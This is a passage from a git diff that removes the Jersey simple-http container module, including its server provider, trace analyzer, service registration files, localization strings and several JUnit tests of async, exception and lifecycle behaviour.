-            }
-        });
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.simpleServer.close();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        return nativeClass.cast(this.simpleServer);
-    }
-
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
deleted file mode 100644
index 33bd6a7..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-
-/**
- * Server provider for servers based on Simple framework {@link SimpleServer}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class SimpleHttpServerProvider implements WebServerProvider {
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
-                                                      final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
-                ? type.cast(new SimpleHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
-                                                final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
-                ? type.cast(new SimpleHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
deleted file mode 100644
index 7560c52..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.Closeable;
-import java.io.IOException;
-
-/**
- * Simple server facade providing convenient methods to obtain info about the server (i.e. port).
- *
- * @author Michal Gajdos
- * @since 2.9
- */
-public interface SimpleServer extends Closeable {
-
-    public void start() throws IOException;
-
-    /**
-     * The port the server is listening to for incomming HTTP connections. If the port is not
-     * specified the {@link org.glassfish.jersey.server.spi.Container.DEFAULT_PORT} is used.
-     *
-     * @return the port the server is listening on
-     */
-    public int getPort();
-
-    /**
-     * If this is true then very low level I/O operations are logged. Typically this is used to debug
-     * I/O issues such as HTTPS handshakes or performance issues by analysing the various latencies
-     * involved in the HTTP conversation.
-     * <p/>
-     * There is a minimal performance penalty if this is enabled and it is perfectly suited to being
-     * enabled in a production environment, at the cost of logging overhead.
-     *
-     * @return {@code true} if debug is enabled, false otherwise.
-     * @since 2.23
-     */
-    public boolean isDebug();
-
-    /**
-     * To enable very low level logging this can be enabled. This goes far beyond logging issues such
-     * as connection establishment of request dispatch, it can trace the TCP operations latencies
-     * involved.
-     *
-     * @param enable if {@code true} debug tracing will be enabled.
-     * @since 2.23
-     */
-    public void setDebug(boolean enable);
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java
deleted file mode 100644
index 4873da1..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.nio.channels.SelectableChannel;
-import java.util.Queue;
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.ThreadFactory;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicLong;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-
-import org.simpleframework.common.thread.DaemonFactory;
-import org.simpleframework.transport.trace.Trace;
-import org.simpleframework.transport.trace.TraceAnalyzer;
-
-/**
- * Tracing at a very low level can be performed with a {@link TraceAnalyzer}. This provides much
- * more useful information than the conventional {@link LoggingFilter} in that it provides details
- * at a very low level. This is very useful when monitoring performance interactions at the TCP
- * level between clients and servers.
- * <p/>
- * Performance overhead for the server is minimal as events are pumped out in batches. The amount of
- * logging information will increase quite significantly though.
- *
- * @author Niall Gallagher
- */
-public class SimpleTraceAnalyzer implements TraceAnalyzer {
-
-    private static final ExtendedLogger logger =
-            new ExtendedLogger(Logger.getLogger(SimpleTraceAnalyzer.class.getName()), Level.FINEST);
-
-    private final TraceConsumer consumer;
-    private final ThreadFactory factory;
-    private final AtomicBoolean active;
-    private final AtomicLong count;
-
-    /**
-     * Creates an asynchronous trace event logger.
-     */
-    public SimpleTraceAnalyzer() {
-        this.factory = new DaemonFactory(TraceConsumer.class);
-        this.consumer = new TraceConsumer();
-        this.active = new AtomicBoolean();
-        this.count = new AtomicLong();
-    }
-
-    public boolean isActive() {
-        return active.get();
-    }
-
-    @Override
-    public Trace attach(SelectableChannel channel) {
-        long sequence = count.getAndIncrement();
-        return new TraceFeeder(channel, sequence);
-    }
-
-    /**
-     * Begin logging trace events to the underlying logger.
-     */
-    public void start() {
-        if (active.compareAndSet(false, true)) {
-            Thread thread = factory.newThread(consumer);
-            thread.start();
-        }
-    }
-
-    @Override
-    public void stop() {
-        active.set(false);
-    }
-
-    private class TraceConsumer implements Runnable {
-
-        private final Queue<TraceRecord> queue;
-
-        public TraceConsumer() {
-            this.queue = new ConcurrentLinkedQueue<TraceRecord>();
-        }
-
-        public void consume(TraceRecord record) {
-            queue.offer(record);
-        }
-
-        public void run() {
-            try {
-                while (active.get()) {
-                    Thread.sleep(1000);
-                    drain();
-                }
-            } catch (Exception e) {
-                logger.info("Trace analyzer error");
-            } finally {
-                try {
-                    drain();
-                } catch (Exception e) {
-                    logger.info("Trace analyzer could not drain queue");
-                }
-                active.set(false);
-            }
-
-        }
-
-        private void drain() {
-            while (!queue.isEmpty()) {
-                TraceRecord record = queue.poll();
-
-                if (record != null) {
-                    String message = record.toString();
-                    logger.info(message);
-                }
-            }
-        }
-    }
-
-    private class TraceFeeder implements Trace {
-
-        private final SelectableChannel channel;
-        private final long sequence;
-
-        public TraceFeeder(SelectableChannel channel, long sequence) {
-            this.sequence = sequence;
-            this.channel = channel;
-        }
-
-        @Override
-        public void trace(Object event) {
-            trace(event, null);
-        }
-
-        @Override
-        public void trace(Object event, Object value) {
-            if (active.get()) {
-                TraceRecord record = new TraceRecord(channel, event, value, sequence);
-                consumer.consume(record);
-            }
-        }
-
-    }
-
-    private class TraceRecord {
-
-        private final SelectableChannel channel;
-        private final String thread;
-        private final Object event;
-        private final Object value;
-        private final long sequence;
-
-        public TraceRecord(SelectableChannel channel, Object event, Object value, long sequence) {
-            this.thread = Thread.currentThread().getName();
-            this.sequence = sequence;
-            this.channel = channel;
-            this.event = event;
-            this.value = value;
-        }
-
-        public String toString() {
-            StringWriter builder = new StringWriter();
-            PrintWriter writer = new PrintWriter(builder);
-
-            writer.print(sequence);
-            writer.print(" ");
-            writer.print(channel);
-            writer.print(" (");
-            writer.print(thread);
-            writer.print("): ");
-            writer.print(event);
-
-            if (value != null) {
-                if (value instanceof Throwable) {
-                    writer.print(" -> ");
-                    ((Throwable) value).printStackTrace(writer);
-                } else {
-                    writer.print(" -> ");
-                    writer.print(value);
-                }
-            }
-            writer.close();
-            return builder.toString();
-        }
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java
deleted file mode 100644
index f7a4d38..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2011, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey Simple 6.x container classes.
- */
-package org.glassfish.jersey.simple;
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index a0a4981..0000000
--- a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.simple.SimpleContainerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
deleted file mode 100644
index 54d8c53..0000000
--- a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.simple.SimpleHttpServerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties b/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties
deleted file mode 100644
index 483f9f0..0000000
--- a/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties
+++ /dev/null
@@ -1,22 +0,0 @@
-#
-# Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-
-
-error.when.creating.server=IOException thrown when trying to create simple server.
-uri.cannot.be.null=The URI must not be null.
-wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
deleted file mode 100644
index 81c8601..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Simple HTTP Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractSimpleServerTester {
-
-    public static final String CONTEXT = "";
-    private final int DEFAULT_PORT = 0; // rather SimpleFramework server choose than 9998
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractSimpleServerTester.class.getName());
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        if (server != null) {
-            return server.getPort();
-        }
-
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(
-                        Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                        + " property is not a valid non-negative integer [" + value + "]."
-                        + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-    private volatile SimpleServer server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(LoggingFeature.class);
-        final URI baseUri = getBaseUri();
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServerNoLoggingFilter(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        final URI baseUri = getBaseUri();
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        config.register(LoggingFeature.class);
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServer(ResourceConfig config, int count, int select) {
-        final URI baseUri = getBaseUri();
-        config.register(LoggingFeature.class);
-        server = SimpleContainerFactory.create(baseUri, config, count, select);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void setDebug(boolean enable) {
-        if (server != null) {
-            server.setDebug(enable);
-        }
-    }
-
-    public void stopServer() {
-        try {
-            server.close();
-            server = null;
-            LOGGER.log(Level.INFO, "Simple-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java
deleted file mode 100644
index 5faf09b..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractSimpleServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using
-                    // sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                                                 .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using
-                    // sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture =
-                client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout()
-            throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture =
-                client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response =
-                client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java
deleted file mode 100644
index 7672d3f..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractSimpleServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java
deleted file mode 100644
index c99e3b1..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractSimpleServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        WebTarget r = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        WebTarget r = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java
deleted file mode 100644
index a93d872..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractSimpleServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Path("/users")
-    public class UserResource {
-
-        @Path("/current")
-        @GET
-        @Produces("text/plain")
